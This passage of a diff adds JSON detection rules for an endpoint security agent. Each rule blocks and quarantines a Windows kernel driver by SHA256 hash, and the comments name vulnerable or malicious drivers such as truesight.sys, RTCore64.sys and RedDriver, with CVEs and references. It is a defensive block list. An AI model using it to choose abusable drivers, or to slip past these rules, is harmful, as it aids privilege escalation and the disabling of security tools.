+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70389757-51d5-5512-9844-8954af94f750",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141380Z",
+  "creation_date": "2026-03-23T11:45:31.141382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141388Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "441cc113a5ecaea7af80c9ed97fc8e93ea6ffc4c61b617f48ef85bb7ce94b168",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7057406b-d010-5e88-ba7d-0eb9023d6da1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974522Z",
+  "creation_date": "2026-03-23T11:45:29.974524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974530Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e37c0e580bf6f0514af985b1581fef3d66b845aeefa790c625964512a911659",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "705fe14d-0504-5ebb-81c2-4c00c96589de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823677Z",
+  "creation_date": "2026-03-23T11:45:31.823679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13c3c6880f501557d1fee13215167db7afa1bc65b62f242010ad828885f8dd0f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70600820-a0f2-5286-b192-592f4049227e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499431Z",
+  "creation_date": "2026-03-23T11:45:31.499434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499443Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8073039514143cc1863f7bd4488c7433b115f5cb1240311fb412313493143128",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "706d9f5b-4362-5eec-ad84-2a9e0095b466",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618460Z",
+  "creation_date": "2026-03-23T11:45:29.618462Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618468Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffd1aef19646ffed09b56a2ace4fc8cdf5b2f714fcca1e7ffb82256264c94b18",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "707bbba4-e3a9-59d0-81c4-db1a37925fb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143200Z",
+  "creation_date": "2026-03-23T11:45:31.143202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143208Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13f39c57ce0cee25ed6889a045bbfad1fca4de361ea8ed19e3a3af9b234b9781",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "707f98a3-10dc-5f99-8a00-460b93a596f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615345Z",
+  "creation_date": "2026-03-23T11:45:29.615347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6bf32fafa57bcbb84b06db0d7d28e4b1457ead69c33fa883d5abe84ecd91b51",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "708e4cad-ce8a-595d-bc1e-ad904649beaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972038Z",
+  "creation_date": "2026-03-23T11:45:29.972040Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a566af57d88f37fa033e64b1d8abbd3ffdacaba260475fbbc8dab846a824eff5",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70914d32-e1fd-5ab6-b043-fa1a9ee6e269",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983649Z",
+  "creation_date": "2026-03-23T11:45:29.983651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09043c51719d4bf6405c9a7a292bb9bb3bcc782f639b708ddcc4eedb5e5c9ce9",
+  "comment": "Vulnerable Kernel Driver (aka amigendrv64.sys) [https://www.loldrivers.io/drivers/5c45ae9e-cb6f-4eab-a070-b0187202e080/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7099faa7-5d88-5a2f-ab1c-411f4d0afa68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152210Z",
+  "creation_date": "2026-03-23T11:45:31.152212Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152220Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c267cfb40ffc24533cbfde1f1f457948f1d07de9eafc24b27db8df1af71a7f79",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70a1889f-80f7-5b0a-9eab-2d3abfffbe92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834609Z",
+  "creation_date": "2026-03-23T11:45:30.834612Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec7ae3b91784e5d5a57ec6e9e89b66a18c6274b559c8d4890037f7e0651664b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70a71990-6094-5dc1-99fd-efcba9885d3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618219Z",
+  "creation_date": "2026-03-23T11:45:29.618221Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9155470dc24449977d1be15a116b08705dd4c113a2eb4ab19a6000749ff4b100",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70ab1e16-e316-5a18-b8c0-83afd3077077",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985996Z",
+  "creation_date": "2026-03-23T11:45:29.985998Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986004Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f929b77636026cc0c57a0bd95e4c61f0b28a65e60331807e32235947f5c67931",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70ad899c-c853-5a9c-8211-17df2dfd4c61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607258Z",
+  "creation_date": "2026-03-23T11:45:29.607260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70b6c5ff-10e2-50b6-9e3b-2cebafff18de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155276Z",
+  "creation_date": "2026-03-23T11:45:31.155278Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155283Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1287885c5c87886fcae9bd18ff9a82c0231451315f16f7ec1a8111673127161c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70c3f0ab-9bb0-59b6-af08-61bcba69338b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825628Z",
+  "creation_date": "2026-03-23T11:45:31.825630Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "826267a0c3f7fe9aee8242accbf5563560988137702eb6dd8a14bf66790447cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70cd4617-678e-5297-8502-f918ed8e744a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613442Z",
+  "creation_date": "2026-03-23T11:45:29.613444Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613450Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fee4560f2160a951d83344857eb4587ab10c1cfd8c5cfc23b6f06bef8ebcd984",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70d4d297-8723-5420-9b23-963fb7396391",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813947Z",
+  "creation_date": "2026-03-23T11:45:31.813960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60da0e6b6127b7298f24da50ea4f028f260a629efde08d6926180ee1a7466639",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70d7c968-5cea-5cc6-bca5-a5327bc47b82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611201Z",
+  "creation_date": "2026-03-23T11:45:29.611203Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611208Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "313a69d8eea6a933cffac0fa67d46ad9aef0815bb579fce7623d9be825888e30",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70e87570-d502-5f55-8b99-1bbd06c1c9c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474274Z",
+  "creation_date": "2026-03-23T11:45:30.474277Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474286Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f291f251d8ffc6c6c2f69b62e8d1153bdb83f54cf60ef9a4c6235db87bfb2c1a",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70e8e1af-9c87-5ebe-abdb-bfea8348e5eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808339Z",
+  "creation_date": "2026-03-23T11:45:31.808341Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808347Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a95ec5a6bd3798a928eff37d2657cb948542d9156d0ecce05c4083f5e2b62f9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70f067cd-c15a-5147-8d38-9791c5ba0ff7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500469Z",
+  "creation_date": "2026-03-23T11:45:31.500472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fdc8c7638c8d9bff60603f4c659c18916d25810c34f953d663a2dfd16fb5392",
